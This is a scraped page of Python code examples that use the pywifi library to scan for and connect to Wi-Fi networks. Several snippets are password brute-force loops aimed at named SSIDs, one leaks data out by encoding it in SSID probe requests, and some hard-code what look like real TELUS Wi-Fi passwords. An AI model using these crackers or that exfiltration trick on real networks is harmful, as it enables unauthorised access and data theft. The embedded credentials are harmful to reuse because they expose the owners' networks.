Exemplo n.º 1
0
def connect_wifi():
    wifi = pywifi.PyWiFi()  # 创建一个wifi对象
    ifaces = wifi.interfaces()[1]  # 取第一个无限网卡
    print(ifaces.name())  # 输出无线网卡名称
    ifaces.disconnect()  # 断开网卡连接
    time.sleep(3)  # 缓冲3秒
    profile = pywifi.Profile()  # 配置文件
    profile.ssid = "TELUSWiFi0421"  # wifi名称
    profile.auth = const.AUTH_ALG_OPEN  # 需要密码
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 加密类型
    profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
    profile.key = 'eQPm4QtXrx'  #wifi密码
    ifaces.remove_all_network_profiles()  # 删除其他配置文件
    tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件
    ifaces.connect(tmp_profile)  # 连接
    time.sleep(5)
    if ifaces.status() != const.IFACE_CONNECTED:
        profile = pywifi.Profile()  # 配置文件
        profile.ssid = "TELUS1773"  # wifi名称
        profile.auth = const.AUTH_ALG_OPEN  # 需要密码
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 加密类型
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        profile.key = '9nnx6aq94j'  #wifi密码
        ifaces.remove_all_network_profiles()  # 删除其他配置文件
        tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件
        ifaces.connect(tmp_profile)  # 连接
        if ifaces.status() != const.IFACE_CONNECTED:
            connect_wifi()
        else:
            return
    else:
        return
Exemplo n.º 2
0
def test_profile_comparison():

    wifi = pywifi.PyWiFi()

    iface = wifi.interfaces()[0]

    profile1 = pywifi.Profile()
    profile1.ssid = 'testap'
    profile1.auth = const.AUTH_ALG_OPEN
    profile1.akm.append(const.AKM_TYPE_WPA2PSK)
    profile1.cipher = const.CIPHER_TYPE_CCMP
    profile1.key = '12345678'

    profile2 = pywifi.Profile()
    profile2.ssid = 'testap'
    profile2.auth = const.AUTH_ALG_OPEN
    profile2.akm.append(const.AKM_TYPE_WPA2PSK)
    profile2.cipher = const.CIPHER_TYPE_CCMP
    profile2.key = '12345678'

    assert profile1 == profile2

    profile3 = pywifi.Profile()
    profile3.ssid = 'testap'
    profile3.auth = const.AUTH_ALG_OPEN
    profile3.akm.append(const.AKM_TYPE_WPAPSK)
    profile3.cipher = const.CIPHER_TYPE_CCMP
    profile3.key = '12345678'

    assert profile1 == profile3
Exemplo n.º 3
0
def connect_wifi():
    global dics
    global dics_2
    os.system("ifconfig wlan0 down")
    os.system("ifconfig wlan0 up")
    wifi = pywifi.PyWiFi()  # 创建一个wifi对象
    ifaces = wifi.interfaces()[1]  # 取第一个无限网卡
    print(ifaces.name())  # 输出无线网卡名称
    ifaces.disconnect()  # 断开网卡连接
    time.sleep(3)  # 缓冲3秒
    profile = pywifi.Profile()  # 配置文件
    profile.ssid = "TELUSWiFi0421"  # wifi名称
    profile.auth = const.AUTH_ALG_OPEN  # 需要密码
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 加密类型
    profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
    profile.key = 'eQPm4QtXrx'  #wifi密码
    ifaces.remove_all_network_profiles()  # 删除其他配置文件
    tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件
    ifaces.connect(tmp_profile)  # 连接
    time.sleep(5)
    print("[*]status:",ifaces.status())
    if ifaces.status() != const.IFACE_CONNECTED:
        profile = pywifi.Profile()  # 配置文件
        profile.ssid = "TELUS1773"  # wifi名称
        profile.auth = const.AUTH_ALG_OPEN  # 需要密码
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 加密类型
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        profile.key = '9nnx6aq94j'  #wifi密码
        ifaces.remove_all_network_profiles()  # 删除其他配置文件
        tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件
        ifaces.connect(tmp_profile)  # 连接
        time.sleep(5)
        pass
        if ifaces.status() != const.IFACE_CONNECTED:
            connect_wifi()
        else:
            print("[*]OK!")
            try:
                os.system("dhclient")
                sessionKey=login()
                db()
                ip_con()
                dics,dics_2=get_all_mac()
                return
            except:
                return
        connect_wifi()
    else:
        print("[*]OK!")
        try:
            os.system("dhclient")
            sessionKey=login()
            db()
            ip_con()
            dics,dics_2=get_all_mac()
            return
        except:
            pass
Exemplo n.º 4
0
def connect_wifi():
    global dics
    global dics_2
    os.system("ifconfig wlan0 down")
    os.system("ifconfig wlan0 up")
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[1]
    print(ifaces.name())
    ifaces.disconnect()
    time.sleep(3)
    profile = pywifi.Profile()
    profile.ssid = "TELUSWiFi0421"
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = 'eQPm4QtXrx'
    ifaces.remove_all_network_profiles()
    tmp_profile = ifaces.add_network_profile(profile)
    ifaces.connect(tmp_profile)
    time.sleep(5)
    print("[*]status:", ifaces.status())
    if ifaces.status() != const.IFACE_CONNECTED:
        profile = pywifi.Profile()
        profile.ssid = "TELUS1773"
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = '9nnx6aq94j'
        ifaces.remove_all_network_profiles()
        tmp_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tmp_profile)
        time.sleep(5)
        pass
        if ifaces.status() != const.IFACE_CONNECTED:
            connect_wifi()
        else:
            print("[*]OK!")
            try:
                os.system("dhclient")
                sessionKey = login()
                db()
                ip_con()
                dics, dics_2 = get_all_mac()
                return
            except:
                return
        connect_wifi()
    else:
        print("[*]OK!")
        try:
            os.system("dhclient")
            sessionKey = login()
            db()
            ip_con()
            dics, dics_2 = get_all_mac()
            return
        except:
            pass
Exemplo n.º 5
0
def testwifi(ssidname, password):
    wifi = pywifi.PyWiFi()  # 抓取网卡接口
    ifaces = wifi.interfaces()[0]  # 获取网卡
    ifaces.disconnect()  # 断开无限网卡连接
    print(ifaces)
    profile = pywifi.Profile()  # 创建wifi连接文件
    profile.ssid = ssidname  # 定义wifissid
    profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
    profile.key = password  # wifi密码
    ifaces.remove_all_network_profiles()  # 清理其他配置文件
    tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件
    ifaces.connect(tmp_profile)  # 连接wifi

    for i in range(1, 10):
        if ifaces.status() == const.IFACE_CONNECTING:
            time.sleep(1)  # 5秒内能否连接上

    if ifaces.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False
    # ifaces.disconnect()#断开连接
    return True
Exemplo n.º 6
0
def scan_wifi():
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]
    print('%s start scaning>>>>>>>' % (iface.name()))
    iface.scan()
    time.sleep(3)
    wifi_List = iface.scan_results()
    for m in wifi_List:
        print(m, "----------", m.ssid)
    # print( len(wifi_List) )
    if len(wifi_List) != 0:
        print("catched wifi list:")
        for i_wifi in wifi_List:
            print("[%d]  %s" % (wifi_List.index(i_wifi) + 1, i_wifi.ssid))
            print(
                "bssid--%s,ssid--%s,freq--%s,auth--%s,akm--%s,signal--%s,cipher--%s"
                % (i_wifi.bssid, i_wifi.ssid, i_wifi.freq, i_wifi.auth,
                   i_wifi.akm, i_wifi.signal, i_wifi.cipher))
    print("----please input the number of wifi which to crack!----")
    wifi_name = int(input()) - 1
    print("---start crack %s----" % (wifi_List[wifi_name].ssid))
    # print( "bssid--%s,ssid--%s,freq--%s,auth--%s,akm--%s,signal--%s,cipher--%s" %(wifi_List[wifi_name].bssid,wifi_List[wifi_name].ssid,wifi_List[wifi_name].freq,wifi_List[wifi_name].auth,wifi_List[wifi_name].akm,wifi_List[wifi_name].signal,wifi_List[wifi_name].cipher ) )
    profile = pywifi.Profile()
    profile.ssid = wifi_List[wifi_name].ssid
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm = wifi_List[wifi_name].akm
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = ''
    iface.remove_all_network_profiles()
    iface.disconnect()
    return profile
Exemplo n.º 7
0
def wificonnect(str, wifiname):
    # 窗口无线对象
    wifi = pywifi.PyWiFi()
    # 抓取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有的wifi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # 创建wifi连接文件
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # wifi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # wifi的密码
        profile.key = str
        # 网卡的开发
        profile.auth = const.AUTH_ALG_OPEN
        # 加密单元,这里需要写点加密单元否则无法连接
        profile.cipher = const.CIPHER_TYPE_CCMP

        # 删除所有的wifi文件
        ifaces.remove_all_network_profiles()
        # 设置新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        # 连接
        ifaces.connect(tep_profile)
        time.sleep(3)

        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
Exemplo n.º 8
0
    def test_connect(self,id):#测试链接
        self.profile = pywifi.Profile()  # 创建wifi链接文件
        self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元

        self.profile.ssid =id #wifi名称
        print("开始破解----ssid为",id)
        gen = self.genPassword()
        while True:
            try:
                myStr = next(gen)
                self.profile.key = myStr
                tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件
                self.iface.connect(tmp_profile)  # 链接
                # sleep
                #time.sleep(2)
                if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
                    print("密码正确:", myStr)
                    break
                else:
                    print("密码错误:" + myStr)
            except:
                continue

        self.iface.disconnect() #断开
        #检查断开状态
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

        return myStr
Exemplo n.º 9
0
def extract(data):

    #print('Trying to extract ' + str(len(data)) + ' pieces.')

    for piece in data:
        try:
            piece = (startChar + str(piece))
            extractProfile = pywifi.Profile()
            extractProfile.ssid = piece
            extractProfile.auth = const.AUTH_ALG_OPEN
            extractProfile.akm.append(const.AKM_TYPE_NONE)
            extractProfile.cipher = const.CIPHER_TYPE_NONE
            extractProfile = iface.add_network_profile(extractProfile)
            iface.connect(extractProfile)
            time.sleep(1)

            print('Extracted: ' + piece + ' with a length of \t' +
                  str(len(piece)))
            #Two second delay between SSID Probe Requests, allows for reconnection of network

            iface.connect(currentProfile)

            # Remove the created Profile
            iface.remove_network_profile(extractProfile)

        except Exception as e:
            #Error during exfiltration
            pass
Exemplo n.º 10
0
def test_wifi_connect(passwordstr):
    wifi = pywifi.PyWiFi()  #初始化
    ifaces = wifi.interfaces()[0]  #创建取出第一个无限网卡
    # print(ifaces.name())#输出无限网卡名
    ifaces.disconnect()  #断开无限网卡连接
    time.sleep(3)  #断开以后缓冲3秒

    profile = pywifi.Profile()  #配置文件
    profile.ssid = "TP-LINK_168"  #wifi名称
    profile.auth = const.AUTH_ALG_OPEN  #需要密码连接
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  #wifi加密
    profile.cipher = const.CIPHER_TYPE_CCMP  #机密单元
    profile.key = passwordstr  #wifi密钥

    ifaces.remove_all_network_profiles()  #删除其他所有配置文件
    tmp_profile = ifaces.add_network_profile(profile)  #加载配置文件

    ifaces.connect(tmp_profile)  #连接
    time.sleep(10)  #10秒内能否连接上
    isok = True
    if ifaces.status() == const.IFACE_CONNECTED:
        print("连接成功")
    else:
        print("连接失败")

        ifaces.disconnect()  #断开连接
        time.sleep(1)

    return isok
Exemplo n.º 11
0
 def test_connect(self,findStr):#测试链接
 
  
 
 
 
     profile = pywifi.Profile()  #创建wifi链接文件
     profile.ssid = 'zzz' #wifi名称
     profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
     profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
     profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
     profile.key = findStr #密码
 
     self.iface.remove_all_network_profiles() #删除所有的wifi文件
     tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
 
     self.iface.connect(tmp_profile)#链接
     time.sleep(10)
     
     if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
         
         isOK=True
         tkinter.messagebox.showinfo(title ="破解成功",message="-密码:"+findStr)
         
         
     else:
         
         isOK=False
     self.iface.disconnect() #断开
     time.sleep(1)
     #检查断开状态
     assert self.iface.status() in\
         [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
 
     return profile.ssid,isOK
Exemplo n.º 12
0
def test_connect(findStr, ssidname):
    profile = pywifi.Profile()
    profile.ssid = ssidname
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = findStr

    # 删除所有的链接

    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]
    iface.remove_all_network_profiles()
    tmp_profile = iface.add_network_profile(profile)

    iface.connect(tmp_profile)
    time.sleep(3)

    # 判断是否链接成功
    if iface.status() == const.IFACE_CONNECTED:
        isOk = True
    else:
        isOk = False
        print('密码错误:{}'.format(findStr))
    iface.disconnect()
    time.sleep(2)
    return isOk
Exemplo n.º 13
0
 def wifiConnect(self, pwd):
     print(self.ifaces)
     iface=self.ifaces[self.currentIfaceIdx].disconnect()
     print(iface)
     time.sleep(1)
     wifistatus=iface.status()
     if wifistatus==const.IFACE_DISCONNECTED:
         #创建WiFi连接文件
         profile=pywifi.Profile()
         #要连接WiFi的名称
         profile.ssid=self.currentWifi
         print(profile.ssid)
         #网卡的开放状态
         profile.auth=const.AUTH_ALG_OPEN
         #wifi加密算法,一般wifi加密算法为wps
         profile.akm.append(const.AKM_TYPE_WPA2PSK)
         #加密单元
         profile.cipher=const.CIPHER_TYPE_WEP
         #调用密码
         profile.key=pwd
         #删除所有连接过的wifi文件
         iface.remove_all_network_profiles()
         #设定新的连接文件
         tep_profile=iface.add_network_profile(profile)
         iface.connect(tep_profile)
         #wifi连接时间
         time.sleep(3)
         if ifaces.status()==const.IFACE_CONNECTED:
             return True
         else:
             return False
     else:
         print("已有wifi连接") 
Exemplo n.º 14
0
    def connect(self, findStr):  # 测试链接

        profile = pywifi.Profile()  # 创建wifi链接文件
        profile.ssid = "bgkj140301"  # wifi名称
        profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        profile.key = findStr  # 密码

        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件

        tmp_profile = self.iface.add_network_profile(profile)  # 设定新的链接文件
        self.iface.connect(tmp_profile)  # 链接

        while True:
            time.sleep(0.5)
            if self.iface.status() in [const.IFACE_CONNECTED]:  # 判断是否连接上
                result = True
                break
            elif self.iface.status() in [
                    const.IFACE_DISCONNECTED, const.IFACE_INACTIVE
            ]:
                self.iface.disconnect()  # 断开
                result = False
                break

        return result
Exemplo n.º 15
0
def wifiConnect(pwd, wifi_name):
    iface = get_inface()[0]
    #断开所有连接
    iface.disconnect()
    time.sleep(0.5)

    wifistatus = iface.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        #创建WiFi连接文件
        profile = pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid = wifi_name
        #网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        #调用密码
        profile.key = pwd
        #删除所有连接过的wifi文件
        iface.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile = iface.add_network_profile(profile)
        iface.connect(tep_profile)
        #wifi连接时间
        time.sleep(2)
        if iface.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")
Exemplo n.º 16
0
def wificonnect(pwd, wifiname):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    #如果WiFi是连接的先要断开连接
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # print('已断开连接')
        #创建WIfi的连接文件
        profile = pywifi.Profile()
        profile.ssid = "CMCC"
        #Wifi密码
        profile.key = pwd
        #网卡开放
        profile.auth = const.AUTH_ALG_OPEN
        #添加WIfi的加密算法,无线网卡一般是WPA2PSK
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #添加加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        #删除所有的WIFI文件,方便新的wif连接
        ifaces.remove_all_network_profiles()
        #添加新的连接文件
        temp_profile = ifaces.add_network_profile(profile)
        #连接新的WiFi
        ifaces.connect(temp_profile)
        time.sleep(6)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print('wifi未断开')
Exemplo n.º 17
0
def test_connect(password_str):
    wifi = pywifi.PyWiFi()  # 开启一个无线对象
    interface = wifi.interfaces()[0]  # 抓取无线网卡列表第一个无线网卡
    # print(wifi.interfaces())
    # print(interface.name())  # 取出无限网卡的名字

    interface.disconnect()  # 断开无线网卡连接
    time.sleep(3)  # 断开以后缓冲3秒

    profile = pywifi.Profile()  # 配置文件
    profile.ssid = "ACFUN"  # 就是wifi名称
    profile.auth = const.AUTH_ALG_OPEN  # 需要密码链接
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
    profile.key = password_str  # 测试密码成功或者失败

    interface.remove_all_network_profiles()  # 删除其他所有配置文件
    tmp_profile = interface.add_network_profile(profile)  # 加载配置文件

    interface.connect(tmp_profile)  # 连接
    time.sleep(5)  # 5秒内看是否可以链接上。
    isok = False  # 标识连接成功状态,初值为连接失败

    if interface.status() == const.IFACE_CONNECTED:  # 连接成功
        isok = True
        print("%s 连接成功,密码是:%s" % (profile.ssid, password_str))
    else:
        print("%s 连接失败,密码是:%s" % (profile.ssid, password_str))

    interface.disconnect()  # 断开连接
    time.sleep(1)
    return isok
Exemplo n.º 18
0
def connect_wifi(name, password):
    wifi = pywifi.PyWiFi()

    iface = wifi.interfaces()[0]

    iface.disconnect()
    time.sleep(1)
    assert iface.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    profile = pywifi.Profile()
    profile.ssid = name
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = password

    iface.remove_all_network_profiles()
    tmp_profile = iface.add_network_profile(profile)

    iface.connect(tmp_profile)
    time.sleep(4)
    if iface.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False
Exemplo n.º 19
0
def wifiConnect(ifaces,pwd):
    # 断开上一次尝试连接时建立的网卡连接
    ifaces.disconnect()
    time.sleep(0.1)
    # 获取wifi的连接状态
    wifistatus = ifaces.status()
    # 网卡断开连接后开始连接测试
    if wifistatus == const.IFACE_DISCONNECTED:
        # 创建wifi连接文件
        profile = pywifi.Profile()
        # 要连接的wifi名称--Not Chinese
        profile.ssid = 'i-shxdf'
        # profile.ssid = 'SISUBOOKstore'
        # 网卡的开放状态 | auth - AP的认证算法
        profile.auth = const.AUTH_ALG_OPEN
        # wifi的加密算法,一般wifi 加密算法时wps  
        # 选择wifi加密方式  akm - AP的密钥管理类型
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元 /cipher - AP的密码类型
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 调用密码 /wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE
        profile.key = pwd
        # 删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        # 加载新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi连接时间
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接:!",const.IFACE_DISCONNECTED)
	def test_wifi_connect(self, password_str):

		profile = pywifi.Profile()  # 配置文件
		profile.ssid = "ACFUN"  # 就是wifi名称
		profile.auth = const.AUTH_ALG_OPEN  # 需要密码链接
		profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
		profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
		profile.key = password_str  # 测试密码成功或者失败


		if True:
			self.iface.remove_all_network_profiles()  # 删除其他所有配置文件
			tmp_profile = self.iface.add_network_profile(profile)  # 加载配置文件

			self.iface.disconnect()  # 断开无线网卡链接
			time.sleep(1)  # 断开以后缓冲3秒
			self.iface.connect(tmp_profile)  # 链接
			time.sleep(3)  # 10秒内看是否可以链接上。
			isOK = False
			if self.iface.status() == const.IFACE_CONNECTED:
				isOK = True
				print("链接成功")
			else:
				print("链接失败")
			self.iface.disconnect()  # 断开连接
			return isOK
    def test_wifi_connect(self, pass_str):
        wifi = pywifi.PyWiFi()  # 创建一个wifi对象
        interface = wifi.interfaces()[0]  # 抓取无线网卡列表第一个无线网卡
        interface.disconnect()  # 断开无线网卡链接
        time.sleep(3)  # 断开以后缓冲3秒

        profile = pywifi.Profile()  # 配置文件
        profile.ssid = "ACFUN"  # 设置wifi名称
        profile.auth = const.AUTH_ALG_OPEN  # 需要密码链接
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        profile.key = pass_str  # 测试密码成功或者失败

        interface.remove_all_network_profiles()  # 删除其他所有配置文件
        tmp_profile = interface.add_network_profile(profile)  # 加载配置文件

        interface.connect(tmp_profile)  # 进行连接
        time.sleep(5)  # 5秒之内测试连接是否成功。
        isOK = False
        if interface.status() == const.IFACE_CONNECTED:
            isOK = True
            print("%s 链接成功,密码是:%s" % (profile.ssid, pass_str))

        else:
            print("WIFI %s 链接失败" % profile.ssid)

        interface.disconnect()  # 断开连接
        del wifi
        del interface
        return isOK
Exemplo n.º 22
0
def test_connect_hidden():
    wifi = pywifi.PyWiFi()

    iface = wifi.interfaces()[0]

    iface.disconnect()
    time.sleep(1)
    assert iface.status() in \
           [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    profile = pywifi.Profile()
    profile.ssid = 'hiddentestap'
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_NONE)
    profile.hidden = True

    iface.remove_all_network_profiles()
    tmp_profile = iface.add_network_profile(profile)

    iface.connect(tmp_profile)
    time.sleep(40)
    assert iface.status() == const.IFACE_CONNECTED

    iface.disconnect()
    time.sleep(1)
    assert iface.status() in \
           [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
Exemplo n.º 23
0
 def connect_wifi(self, ssid, password):
     self.interfice.disconnect()
     assert self.interfice.status() in [
         const.IFACE_DISCONNECTED, const.IFACE_INACTIVE
     ]
     wifi = pywifi.PyWiFi()
     interfice = wifi.interfaces()[0]
     profile = pywifi.Profile()
     profile.ssid = ssid
     profile.auth = const.AUTH_ALG_OPEN
     profile.akm.append(const.AKM_TYPE_WPA2PSK)
     profile.cipher = const.CIPHER_TYPE_CCMP
     profile.key = password
     interfice.remove_all_network_profiles()
     tmp_profile = interfice.add_network_profile(profile)
     interfice.connect(tmp_profile)
     number = 0
     while interfice.status() != const.IFACE_CONNECTED:
         time.sleep(2)
         if interfice.status() == const.IFACE_CONNECTED:
             return True
         else:
             print(number)
             number = number + 1
             if number >= 3:
                 print('connect error!')
                 break
     return False
Exemplo n.º 24
0
def CrackWifi(password):
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0] # 取一个无限网卡
    # 是否成功的标志
    isok = True

    if(iface.status()!=const.IFACE_CONNECTED):
      profile = pywifi.Profile()
      profile.ssid = SSID
      profile.auth = const.AUTH_ALG_OPEN     #需要秘密
      profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密类型
      profile.cipher = const.CIPHER_TYPE_CCMP   #加密单元
      #profile.key = '123456789'         #在此输入你的wifi密码
      profile.key = password
      #time.sleep(3)
      wifi = pywifi.PyWiFi()
      iface = wifi.interfaces()[0] # 取一个无限网卡
      profile = iface.add_network_profile(profile)
      iface.connect(profile)
      time.sleep(3)    #程序休眠时间3秒;如果没有此句,则会打印连接失败,因为它需要一定的检测时间
      if iface.status()==const.IFACE_CONNECTED:
        print("连接成功!!!")
      else:
        print("连接失败!!!")
        isok=False
      return isok
    else:
      print("已经连接网络")
      return isok
Exemplo n.º 25
0
def test_connect():

    wifi = pywifi.PyWiFi()

    iface = wifi.interfaces()[0]

    iface.disconnect()
    time.sleep(1)
    assert iface.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    profile = pywifi.Profile()
    profile.ssid = 'testap'
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = '12345678'

    iface.remove_all_network_profiles()
    tmp_profile = iface.add_network_profile(profile)

    iface.connect(tmp_profile)
    time.sleep(40)
    assert iface.status() == const.IFACE_CONNECTED

    iface.disconnect()
    time.sleep(1)
    assert iface.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
Exemplo n.º 26
0
def deswifi():
    wifi = pywifi.PyWiFi()  # 创建一个wifi对象
    ifaces = wifi.interfaces()[0]  # 取第一个无限网卡
    print(ifaces.name())  # 输出无线网卡名称
    ifaces.disconnect()  # 断开网卡连接
    time.sleep(3)  # 缓冲3秒
    profile = pywifi.Profile()  # 配置文件
    for ssid in bies():
        profile.ssid = "502"  # wifi名称
        # profile.auth = const.AUTH_ASG_OPEN  # 需要密码
        # profile.akm.append(const.AKM_TYPE_WPA2SK)  # 加密类型
        profile.auth = const.AUTH_ALG_OPEN  # 需要密码
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 加密类型
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        ifaces.remove_all_network_profiles()  # 删除其他配置文件
        tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件
        ifaces.connect(tmp_profile)  # 连接
        time.sleep(10)  # 尝试10秒能否成功连接
        isok = True
        if ifaces.status() == const.IFACE_CONNECTED:
            print("成功连接")
        else:
            print("失败")
        ifaces.disconnect()  # 断开连接
        time.sleep(1)
    return isok
Exemplo n.º 27
0
def wifiConnect(pwd):
    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile = pywifi.Profile()
        # 要连接WiFi的名称
        profile.ssid = "李"
        # 网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 调用密码
        profile.key = pwd
        # 删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi连接时间
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")
Exemplo n.º 28
0
    def wifi_connect_to_terminal(self):
        '''
        checks if Static ro Dynamic terminal wifi exist and try to connect.
        :return:
        '''
        self.find_terminal()
        if self.unit_net_exist:
            self.iface.disconnect()
            time.sleep(1)
            assert self.iface.status() in \
                   [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

            profile = pywifi.Profile()
            profile.ssid = self.unit_net_name  # 'Hisky_Static_Terminal_2'
            profile.auth = const.AUTH_ALG_OPEN
            # profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = ''  # 'H15ky@T0!'

            self.iface.remove_all_network_profiles()
            tmp_profile = self.iface.add_network_profile(profile)

            self.iface.connect(tmp_profile)
            time.sleep(10)
            assert self.iface.status() == const.IFACE_CONNECTED
            if self.unit_net_exist:
                return self.unit_net_name
        else:
            print("wifi with name searched wasn't found.")
Exemplo n.º 29
0
def Connect(wifi_ssid_name, wifi_password):
    #wifi=pywifi.PyWiFi()
    #interface=wifi.interfaces()[1]
    interface = GetWlan0Interface()

    interface.disconnect()
    #wait WAIT_TIME after disconnection
    time.sleep(WAIT_TIME)
    profile_info = pywifi.Profile()
    profile_info.ssid = wifi_ssid_name
    profile_info.auth = pywifi.const.AUTH_ALG_OPEN
    profile_info.akm.append(pywifi.const.AKM_TYPE_WPA2PSK)
    profile_info.cipher = pywifi.const.CIPHER_TYPE_CCMP
    profile_info.key = wifi_password
    interface.remove_all_network_profiles()
    tmp_profile = interface.add_network_profile(profile_info)
    #wait WAIT_TIME after conneciton
    interface.connect(tmp_profile)
    time.sleep(WAIT_TIME)
    if interface.status() == pywifi.const.IFACE_CONNECTED:
        print("Connected with %s" % wifi_ssid_name)
    elif pywifi.const.IFACE_DISCONNECTED == interface.status():
        print("Disconnected")
    elif pywifi.const.IFACE_SCANNING == interface.status():
        print("Scanning")
    elif pywifi.const.IFACE_INACTIVE == interface.status():
